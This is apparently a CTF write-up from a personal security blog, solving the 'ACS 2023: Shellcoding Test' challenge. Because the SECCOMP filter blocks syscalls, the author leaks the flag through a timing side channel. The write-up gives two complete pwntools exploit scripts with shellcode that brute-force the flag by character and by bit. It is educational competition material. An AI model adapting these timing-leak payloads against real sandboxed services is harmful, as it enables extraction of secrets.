Casual McDonald's Employee Scriptorium
BlogMemesGitHubAbout
  • root@JesusCries
  • ⛩️Red Teaming
    • Methodology
    • Red Team Infrastructure
    • Initial Access
    • Reconnaissance
    • Lateral Movement
    • Post-Exploitation
      • Credentials Dumping
    • Persistence
    • Evasion
      • Memory Scanner
      • Antimalware Scan Interface (AMSI)
      • Event Tracing for Windows (ETW)
      • Attack Surface Reduction (ASR)
      • Microsoft Windows Defender Application Control (WDAC)
      • EDR Evasion
    • Offensive Development
      • Process Injection & Shellcode Loader
      • Portable Executable (PE) Loader
      • User Defined Reflective Loader
      • Beacon Object Files
    • Command & Control (C2)
      • Cobalt Strike
      • Havoc
      • Mythic
      • Sliver
    • Miscellaneous
      • Interesting Read
      • Certification Reviews
        • Certified Red Team Lead (CRTL)
  • 🧊Active Directory & Pentest
    • Check List
  • 🚩CTF Writeups
    • Reverse Engineering
      • Wargames.MY 2024: World 3
      • Wargames.MY 2023: Defeat the boss!
      • ACS 2023: Licrackense Pt I
      • ACS 2023: babyrev
      • ACS 2023: expr
      • ACS 2023: rustarm
      • ACS 2023: Maze
      • SiberSiaga 2023: Obstacles
      • SiberSiaga 2023: Packed
      • SiberSiaga 2023: Malbot
      • SiberSiaga 2023: Vacine
      • ABOH 2023: MetalPipe
      • ABOH 2023: Grape
      • iCTF 2023: RemoteC4
    • Binary Exploitation
      • HTB Cyber Apocalypse 2024: SoundOfSilence
      • LACTF 2024: pizza
      • ACS 2023: Licrackense Pt II
      • ACS 2023: Shellcoding Test
      • ACS 2023: Coding Test
      • ACS 2023: register
      • Wargames.MY 2023: Pak Mat Burger
      • SiberSiaga 2023: Password Generator
      • NahamCON CTF 2023: nahmnahmnahm
      • NahamCON CTF 2023: Weird Cookie
      • TJCTF 2023: shelly
      • TJCTF 2023: formatter
      • ångstromCTF 2023: gaga2
      • ångstromCTF 2023: leek
      • Space Heroes 2023: Rope Dancer
      • corCTF 2022: babypwn
      • corCTF 2021: Cshell
      • HTB Cyber Apocalypse 2023: Void
      • HTB Cyber Santa CTF 2021: minimelfistic
      • HTB Challenge: pwnshop
  • 🤡Clown Chronicles
    • About Me
    • Blogs
      • How to Win A CTF by Overcomplicating Things
      • Exploring Dynamic Invocation for Process Injection in C# and Rust
    • Projects
    • Memes
    • Others
Powered by GitBook
On this page
  • TL;DR
  • Challenge Overview
  • Solution 1: Character Brute Forcing
  • Final Script
  • Solution 2: Bit Brute Forcing
  • Final Script
  1. CTF Writeups
  2. Binary Exploitation

ACS 2023: Shellcoding Test

Attempting to cheat the syscall table?

PreviousACS 2023: Licrackense Pt IINextACS 2023: Coding Test

Last updated 1 year ago

TL;DR

Restricted shellcode challenge with bypassable SECCOMP filter via a Time-based Side Channel Attack.

Challenge Overview

Shellcoding Test is the continuation of Coding Test from the preliminary round. Once again, we can write any shellcode to an allocated buffer.

However, the SECCOMP rules enforced are much more restricted this time. As we are not allowed to execute any syscalls, we are left with a Time-based Side Channel Attack to brute force each flag character.

To mount this attack, we'll need to know exactly where the flag is loaded. Inspecting this in GDB, we realized that the flag is 8 bytes away from rsp.

Solution 1: Character Brute Forcing

In our solve script, we'll specify 2 loops - An outer loop that iterates N times (where N = flag length) to control the flag index that we are trying to brute force; and an inner loop that iterates all printable ASCII characters. Since we do not know the flag length, we'll just give N a large value for now.

for idx in range(0x1000):
    for i in range(256):
        r = elf.process()
        
        shellcode = asm(f'''
            mov rax, [rsp+8]
            mov cl, [rax+{hex(idx)}]
            cmp cl, {hex(i)}
            je loop

        syscall:
            mov rax, 1
            syscall

        loop:
            jmp loop
        ''')
        
        r.sendline(shellcode)

The shellcode required for this character brute forcing approach is fairly straightforward to code in assembly language, but comes with a huge penalty in terms of time complexity. It takes approximately 5 minutes to get the entire flag right.

Flag: ACS{5h311c0d!ng_73s7_@ppr0v3d}

Final Script

#!/usr/bin/python3

from pwn import *

exe = './shellcoding_test'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'CRITICAL'

flag = ''

for idx in range(0x1000):   # we do not know the actual flag length, so we'll assign a big value just to be sure
    for i in range(256):    # printable characters
        r = elf.process()

        shellcode = asm(f'''
            mov rax, [rsp+8]            # flag is 8 offset away from rsp
            mov cl, [rax+{hex(idx)}]    # iterate flag index
            cmp cl, {hex(i)}            # character to brute force
            je loop

        syscall:
            mov rax, 1
            syscall

        loop:
            jmp loop
        ''')

        try:
            r.sendline(shellcode)
            r.recv(timeout=1)
            print(f'[+] Found: {chr(i)}')
            flag += chr(i)
            r.close()
            break
        except Exception as e:
            pass
        r.close()

print(flag)

Solution 2: Bit Brute Forcing

A more optimized and faster way to do this is by granularize it down to the bit level. This way, we will only have to brute force 8 bits for each character (8 comparisons per character) instead of iterating through all ASCII printable characters like Solution 1.

Flag: ACS{5h311c0d!ng_73s7_@ppr0v3d}

Final Script

#!/usr/bin/python3

import sys
import string
import random
from pwn import *

context.binary = elfexe = ELF('./shellcoding_test', checksec=False)
context.log_level = 'CRITICAL'

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([elfexe.path] + argv, gdbscript, elfexe.path, *a, *kw)
    else:
        target = process([elfexe.path] + argv, *a, **kw)
    return target

gdbscript = '''
b *main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

arguments = []
if args['REMOTE']:
    remote_server = '192.168.0.52'
    remote_port = 10202

def craft_shellcode(offset, bit_offset):
    shellcode = asm((f"""
        xor r11, r11
        xor rax, rax
        mov r12, [rsp+8]        # flag is 8 offset away from rsp
        mov al, [r12+{offset}]  # iterate flag index
        shr al, {bit_offset}    # 8 bit = 1 byte = 1 character
        shl al, 7
        shr al, 7
    loop:
        cmp rax, r11
        je end
        jmp loop
    end:
    """
    ), arch='amd64')
    assert(len(shellcode) <= 0x100)
    padded_shellcode = shellcode + b'\x90'*(0x100 - len(shellcode))
    assert(len(padded_shellcode) == 0x100)
    return padded_shellcode
    
def get_byte(offset):

    binary_bits = ''

    for bit_offset in range(8):
        print(bit_offset, end=': ')

        io = process()
        io.send(craft_shellcode(offset, bit_offset))
        start = time.time()
        io.recvall(timeout=1).decode()
        now = time.time()
        print(now - start)
        if (now - start) > 1:
            binary_bits += '1'
        else:
            binary_bits += '0'
        
        io.close()

    print(binary_bits[::-1])
    byte = int(binary_bits[::-1], 2)    # Reverse binary bits & convert from binary (base2) to decimal
    print(byte)
    return byte

flag = ''

while not flag.endswith('}'):
    flag += chr(get_byte(len(flag)))
    print(flag)

print(f'Found Flag: {flag}')
🚩